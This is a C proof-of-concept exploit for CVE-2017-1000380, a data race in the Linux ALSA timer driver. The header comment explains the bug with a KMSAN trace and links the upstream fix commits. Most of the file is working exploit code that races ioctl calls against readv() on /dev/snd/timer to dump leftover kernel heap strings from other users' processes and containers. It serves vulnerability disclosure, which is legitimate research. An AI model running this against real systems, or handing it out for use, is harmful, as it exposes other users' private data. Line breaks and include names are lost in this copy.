/* PoC exploit for CVE-2017-1000380 - infoleak due to a data race in ALSA * timer. * * Author: Alexander Potapenko * * To run: * $ gcc snd_timer.c -o snd_timer -lpthread * $ ./snd_timer [num_iter] [num_parallel] [min_strlen] * * , where num_iter - number of iterations, * num_parallel - number of thread pairs running in parallel, * min_strlen - shortest string length to be printed. * * (make sure the current user has permission to read from /dev/snd/timer!) * * On affected kernels the tool will print string data from random processes in * the system that was left over on the kernel heap and reused by the * /dev/snd/timer driver. As the kernel heap is shared between all processes in * the system, it's possible to sniff data from the processes belonging to * other users, including those running in separate namespaces, Docker * containers etc. * * Until recently, /dev/snd/timer driver was prone to a data race, which led to * uninitialized memory from the kernel heap being copied to the userspace. * * KernelMemorySanitizer (http://github.com/google/kmsan) reports the bug as * follows (line numbers relative to 4.11-rc5): * ================================================================== * BUG: KMSAN: use of uninitialized memory in snd_timer_user_read+0x6c4/0xa10 * CPU: 0 PID: 1037 Comm: probe Not tainted 4.11.0-rc5+ #2739 * Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011 * Call Trace: * __dump_stack lib/dump_stack.c:16 * dump_stack+0x143/0x1b0 lib/dump_stack.c:52 * kmsan_report+0x12a/0x180 mm/kmsan/kmsan.c:1007 * kmsan_check_memory+0xc2/0x140 mm/kmsan/kmsan.c:1086 * copy_to_user ./arch/x86/include/asm/uaccess.h:725 * snd_timer_user_read+0x6c4/0xa10 sound/core/timer.c:2004 * do_loop_readv_writev fs/read_write.c:716 * __do_readv_writev+0x94c/0x1380 fs/read_write.c:864 * do_readv_writev fs/read_write.c:894 * vfs_readv fs/read_write.c:908 * do_readv+0x52a/0x5d0 fs/read_write.c:934 * SYSC_readv+0xb6/0xd0 fs/read_write.c:1021 * SyS_readv+0x87/0xb0 fs/read_write.c:1018 * entry_SYSCALL_64_fastpath+0x13/0x94 arch/x86/entry/entry_64.S:204 * RIP: 0033:0x43fb70 * RSP: 002b:00007f736e41a930 EFLAGS: 00000293 ORIG_RAX: 0000000000000013 * RAX: ffffffffffffffda RBX: 00007f736e41b700 RCX: 000000000043fb70 * RDX: 0000000000000001 RSI: 00007f736e41a980 RDI: 0000000000000003 * RBP: 00007ffe39b29920 R08: 0000000000000000 R09: 00007f736e41b700 * R10: 00007f736e41b9d0 R11: 0000000000000293 R12: 0000000000000000 * R13: 0000000000000000 R14: 00007f736e41b9c0 R15: 00007f736e41b700 * origin: 00000000b2800057 * save_stack_trace+0x59/0x60 arch/x86/kernel/stacktrace.c:59 * kmsan_save_stack_with_flags mm/kmsan/kmsan.c:352 * kmsan_internal_poison_shadow+0xb1/0x1a0 mm/kmsan/kmsan.c:247 * kmsan_kmalloc+0x7f/0xe0 mm/kmsan/kmsan.c:387 * __kmalloc+0x1bb/0x260 mm/slub.c:3788 * kmalloc ./include/linux/slab.h:495 * snd_timer_user_tselect sound/core/timer.c:1636 * __snd_timer_user_ioctl sound/core/timer.c:1914 * snd_timer_user_ioctl+0x2c46/0x5af0 sound/core/timer.c:1944 * vfs_ioctl fs/ioctl.c:45 * do_vfs_ioctl+0xa8e/0x2060 fs/ioctl.c:685 * SYSC_ioctl+0x20d/0x2a0 fs/ioctl.c:700 * SyS_ioctl+0x87/0xb0 fs/ioctl.c:691 * entry_SYSCALL_64_fastpath+0x13/0x94 arch/x86/entry/entry_64.S:204 * ================================================================== * * The above means that the heap buffer allocated in snd_timer_user_tselect() * while handling ioctl(fd, SNDRV_TIMER_IOCTL_SELECT, ...) sometimes remains * uninitialized till it's being copied to user space by a readv() call. * * Takashi Iwai has fixed the issue in the upstream kernel in the following * commits: * http://git.kernel.org/linus/d11662f4f798b50d8c8743f433842c3e40fe3378 * http://git.kernel.org/linus/ba3021b2c79b2fa9114f92790a99deb27a65b728 * */ #define _GNU_SOURCE #include #include #include #include #include #include #include #define MAX_PARALLEL 64 #define MAX_BUFSIZE 1024 int snd_fd[MAX_PARALLEL]; int min_strlen; int num_parallel; int num_iter; pthread_mutex_t out_mutex = PTHREAD_MUTEX_INITIALIZER; void dump_buf(unsigned char *buf, int len, int size) { if (size == 32) // Looks like a valid ioctl result. return; int i, nz = 0; for (i = 0; i < len; i++) { if (buf[i]) { nz = 1; break; } } if (!nz) { // The buffer is empty. return; } pthread_mutex_lock(&out_mutex); for (i = 0; i < len; i++) { if (buf[i]) { int str_len = strlen(&buf[i]); // Short string pieces are too boring. if (str_len >= min_strlen) { unsigned char *c; for (c = &buf[i]; c < &buf[i + str_len]; c++) { if ((*c > 127) || ((*c < 32) && (*c != 10) && (*c != 13))) { *c = ' '; continue; } } // Dump the buffer. fprintf(stderr, "%s\n", &buf[i]); } i += str_len; } } pthread_mutex_unlock(&out_mutex); } void ioctl_params(long arg) { struct snd_timer_params tp; memset(&tp, 0, sizeof(tp)); tp.ticks = 1; tp.filter = 0xf; ioctl(snd_fd[arg / 2], SNDRV_TIMER_IOCTL_PARAMS, &tp); } void ioctl_start(long arg) { ioctl(snd_fd[arg / 2], SNDRV_TIMER_IOCTL_START, 0); } void ioctl_select(long arg) { struct snd_timer_select ts; memset(&ts, 0, sizeof(ts)); ts.id.dev_class = 1; ioctl(snd_fd[arg / 2], SNDRV_TIMER_IOCTL_SELECT, &ts); } void ioctl_tread(long arg) { int tread_arg = 1; ioctl(snd_fd[arg / 2], SNDRV_TIMER_IOCTL_TREAD, &tread_arg); } void do_work(long arg) { int size; struct iovec iov; char read_buf[MAX_BUFSIZE]; iov.iov_base = read_buf; iov.iov_len = sizeof(read_buf); switch (arg) { case 0: ioctl_tread(arg); ioctl_select(arg); ioctl_params(arg); ioctl_start(arg); break; case 1: memset(read_buf, 0, sizeof(read_buf)); size = readv(snd_fd[arg / 2], &iov, 1); if (size > 0) dump_buf(read_buf, sizeof(read_buf), size); break; } } void *thr(void* arg) { int i; for (i = 0; i < 10000; i++) { do_work((long)arg); usleep(1); } return NULL; } /* Induce a data race between the ioctls and readv() by calling them in * parallel. */ void *clash_threads(void *arg) { long i = (long)arg; pthread_t threads[2]; pthread_attr_t thread_attr; pthread_attr_init(&thread_attr); pthread_attr_setdetachstate(&thread_attr, PTHREAD_CREATE_DETACHED); int iter, nested; for (iter = 0; iter < num_iter; iter++) { pthread_create(&threads[0], &thread_attr, thr, (void *)(i * 2)); pthread_create(&threads[1], &thread_attr, thr, (void *)(i * 2 + 1)); if ((iter % 10) == 0) sleep(2); // garbage collect the detached threads } return NULL; } int get_arg(int argc, char *argv[], int pos, int def, int max) { int ret; if (argc < pos + 1) return def; ret = atoi(argv[pos]); if ((ret > 0) && (ret <= max)) return ret; else return def; } int main(int argc, char *argv[]) { long i; num_iter = get_arg(argc, argv, 1, 10000, 10000000); num_parallel = get_arg(argc, argv, 2, 1, MAX_PARALLEL); min_strlen = get_arg(argc, argv, 3, 32, MAX_BUFSIZE); pthread_t th[MAX_PARALLEL]; for (i = 0; i < num_parallel; i++) { snd_fd[i] = open("/dev/snd/timer", O_RDONLY|O_CREAT|O_NOCTTY|O_SYNC|O_LARGEFILE, 0); pthread_create(&th[i], NULL, clash_threads, (void*)i); } for (i = 0; i < num_parallel; i++) { pthread_join(th[i], NULL); } return 0; }